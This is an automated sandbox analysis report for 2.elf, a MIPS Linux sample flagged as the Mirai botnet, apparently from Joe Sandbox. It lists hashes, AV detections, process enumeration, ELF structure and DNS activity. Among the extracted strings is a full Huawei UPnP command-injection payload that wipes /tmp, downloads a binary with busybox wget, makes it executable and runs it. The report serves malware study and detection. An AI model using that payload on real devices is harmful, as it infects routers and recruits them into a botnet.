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Linux Analysis Report
2.elf

Overview

General Information

Sample name:2.elf
Analysis ID:1589022
MD5:8a4a9878c51f015b30a0af880041f0e5
SHA1:2e9c9fbfadef4915af8ad4483032f48dbc248ff4
SHA256:9bb3e85491646faf1935889fd6e0070a426e00992866d43ae6177345aefe0f48
Tags:elfMiraiuser-abuse_ch
Infos:

Detection

Score:56
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Enumerates processes within the "proc" file system
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1589022
Start date and time:2025-01-11 08:31:03 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 30s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:2.elf
Detection:MAL
Classification:mal56.linELF@0/0@2/0
Command:/tmp/2.elf
PID:5488
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • 2.elf (PID: 5488, Parent: 5412, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/2.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: 2.elfAvira: detected
Source: 2.elfVirustotal: Detection: 28%Perma Link
Source: 2.elfReversingLabs: Detection: 34%
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
Source: 2.elfString found in binary or memory: http://%d.%d.%d.%d/%s
Source: 2.elfString found in binary or memory: http://%d.%d.%d.%d/2;
Source: 2.elf, 5488.1.00007fc8a845e000.00007fc8a8463000.rw-.sdmpString found in binary or memory: http://1/wget.sh
Source: 2.elf, 5488.1.00007fc8a845e000.00007fc8a8463000.rw-.sdmpString found in binary or memory: http://9/curl.sh
Source: 2.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 2.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/*; /bin/busybox wget -g %d.%d.%d.%d -l /tmp/.vs -r /h; /bin/busybox chmod 777 /tmp/.vs; /tmp/.vs; sh /tmp/.vs)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sampleString containing 'busybox' found: %s%d%s<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/*; /bin/busybox wget -g %d.%d.%d.%d -l /tmp/.vs -r /h; /bin/busybox chmod 777 /tmp/.vs; /tmp/.vs; sh /tmp/.vs)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: ELF static info symbol of initial sample.symtab present: no
Source: /tmp/2.elf (PID: 5488)SIGKILL sent: pid: 3129, result: successfulJump to behavior
Source: classification engineClassification label: mal56.linELF@0/0@2/0
Source: /tmp/2.elf (PID: 5488)File opened: /proc/2991/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1383/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1382/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/3120/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1381/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/791/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/794/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1655/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/2986/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1577/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/795/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1610/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1653/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/797/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/2983/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1299/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1650/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1659/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/2946/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/917/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1593/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1394/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/3011/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/3094/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/2955/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/2999/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1589/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/2997/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1588/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1300/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/3125/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1661/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/767/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/800/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/888/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/801/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/725/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/769/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/726/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/803/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1309/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/806/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/807/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/928/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/2956/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/5488/statusJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1560/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/490/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1635/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1712/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1557/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1314/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1633/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1599/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1399/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1630/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/853/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1717/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1639/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1638/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1371/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/780/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/661/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/782/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1567/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1369/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/785/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1444/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1642/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1289/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/940/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1564/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1640/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1364/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1683/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)File opened: /proc/1647/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5488)Queries kernel information via 'uname': Jump to behavior
Source: 2.elf, 5488.1.00005557ad156000.00005557ad1fe000.rw-.sdmpBinary or memory string: WU!/etc/qemu-binfmt/mipsel
Source: 2.elf, 5488.1.00005557ad156000.00005557ad1fe000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mipsel
Source: 2.elf, 5488.1.00007ffd4a052000.00007ffd4a073000.rw-.sdmpBinary or memory string: Kx86_64/usr/bin/qemu-mipsel/tmp/2.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/2.elf
Source: 2.elf, 5488.1.00007ffd4a052000.00007ffd4a073000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: 2.elf, 5488.1.00007ffd4a052000.00007ffd4a073000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mipsel
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume Access1
OS Credential Dumping
11
Security Software Discovery
Remote ServicesData from Local System1
Non-Application Layer Protocol
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
SourceDetectionScannerLabelLink
2.elf29%VirustotalBrowse
2.elf34%ReversingLabsLinux.Trojan.Mirai
2.elf100%AviraEXP/ELF.Mirai.Hua.a
No Antivirus matches
No Antivirus matches
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
daisy.ubuntu.com
162.213.35.24
truefalse
    high
    NameSourceMaliciousAntivirus DetectionReputation
    http://%d.%d.%d.%d/%s2.elffalse
      high
      http://1/wget.sh2.elf, 5488.1.00007fc8a845e000.00007fc8a8463000.rw-.sdmpfalse
        high
        http://schemas.xmlsoap.org/soap/encoding/2.elffalse
          high
          http://9/curl.sh2.elf, 5488.1.00007fc8a845e000.00007fc8a8463000.rw-.sdmpfalse
            high
            http://%d.%d.%d.%d/2;2.elffalse
              high
              http://schemas.xmlsoap.org/soap/envelope/2.elffalse
                high
                No contacted IP infos
                No context
                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                daisy.ubuntu.comssx.elfGet hashmaliciousGafgytBrowse
                • 162.213.35.24
                M68K.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.25
                sshd.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.25
                X86_64.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.25
                ARMV6L.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.24
                5.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.25
                POWERPC.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.24
                MIPS.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.24
                ssl.elfGet hashmaliciousGafgytBrowse
                • 162.213.35.24
                ssb.elfGet hashmaliciousGafgytBrowse
                • 162.213.35.25
                No context
                No context
                No context
                No created / dropped files found
                File type:ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
                Entropy (8bit):5.572101619975813
                TrID:
                • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                File name:2.elf
                File size:122'172 bytes
                MD5:8a4a9878c51f015b30a0af880041f0e5
                SHA1:2e9c9fbfadef4915af8ad4483032f48dbc248ff4
                SHA256:9bb3e85491646faf1935889fd6e0070a426e00992866d43ae6177345aefe0f48
                SHA512:cda29f277679cb6b7e57dc07a62ce51caed9d616d227f588b1be14e49b499065873e62734c2ef83a805730439ae24dc5e77971062da96ce7f184dfdd965436f0
                SSDEEP:3072:peVncToNXQ5KTFjwq+qFXd4B9ku8hAyUX0v7p68:WEuj+KXd4B+hAyUX0v7p68
                TLSH:00C3C71BBB620FFBE81ECD3B04A8174534DCAB1621A97B357538D824FA4A54B47D38B4
                File Content Preview:.ELF....................p.@.4...........4. ...(...............@...@...........................E...E.t...x4..........Q.td...............................<\T.'!......'.......................<8T.'!.............9'.. ........................<.T.'!... .........9

                ELF header

                Class:ELF32
                Data:2's complement, little endian
                Version:1 (current)
                Machine:MIPS R3000
                Version Number:0x1
                Type:EXEC (Executable file)
                OS/ABI:UNIX - System V
                ABI Version:0
                Entry Point Address:0x400270
                Flags:0x1007
                ELF Header Size:52
                Program Header Offset:52
                Program Header Size:32
                Number of Program Headers:3
                Section Header Offset:121572
                Section Header Size:40
                Number of Section Headers:15
                Header String Table Index:14
                NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                NULL0x00x00x00x00x0000
                .initPROGBITS0x4000940x940x8c0x00x6AX004
                .textPROGBITS0x4001200x1200x1ad500x00x6AX0016
                .finiPROGBITS0x41ae700x1ae700x5c0x00x6AX004
                .rodataPROGBITS0x41aed00x1aed00x1dc00x00x2A0016
                .eh_framePROGBITS0x45d0000x1d0000x40x00x3WA004
                .ctorsPROGBITS0x45d0040x1d0040x80x00x3WA004
                .dtorsPROGBITS0x45d00c0x1d00c0x80x00x3WA004
                .data.rel.roPROGBITS0x45d0180x1d0180xc0x00x3WA004
                .dataPROGBITS0x45d0300x1d0300x4c80x00x3WA0016
                .gotPROGBITS0x45d5000x1d5000x5740x40x10000003WAp0016
                .sbssNOBITS0x45da740x1da740x1c0x00x10000003WAp004
                .bssNOBITS0x45da900x1da740x29e80x00x3WA0016
                .mdebug.abi32PROGBITS0x9c60x1da740x00x00x0001
                .shstrtabSTRTAB0x00x1da740x6e0x00x0001
                TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                LOAD0x00x4000000x4000000x1cc900x1cc905.58770x5R E0x10000.init .text .fini .rodata
                LOAD0x1d0000x45d0000x45d0000xa740x34785.28270x6RW 0x10000.eh_frame .ctors .dtors .data.rel.ro .data .got .sbss .bss
                GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                TimestampSource PortDest PortSource IPDest IP
                Jan 11, 2025 08:31:54.278141022 CET3812253192.168.2.141.1.1.1
                Jan 11, 2025 08:31:54.278141022 CET3703753192.168.2.141.1.1.1
                Jan 11, 2025 08:31:54.285208941 CET53370371.1.1.1192.168.2.14
                Jan 11, 2025 08:31:54.285239935 CET53381221.1.1.1192.168.2.14
                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                Jan 11, 2025 08:31:54.278141022 CET192.168.2.141.1.1.10x9d29Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                Jan 11, 2025 08:31:54.278141022 CET192.168.2.141.1.1.10x370dStandard query (0)daisy.ubuntu.com28IN (0x0001)false
                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                Jan 11, 2025 08:31:54.285239935 CET1.1.1.1192.168.2.140x9d29No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
                Jan 11, 2025 08:31:54.285239935 CET1.1.1.1192.168.2.140x9d29No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

                System Behavior

                Start time (UTC):07:31:50
                Start date (UTC):11/01/2025
                Path:/tmp/2.elf
                Arguments:/tmp/2.elf
                File size:5773336 bytes
                MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9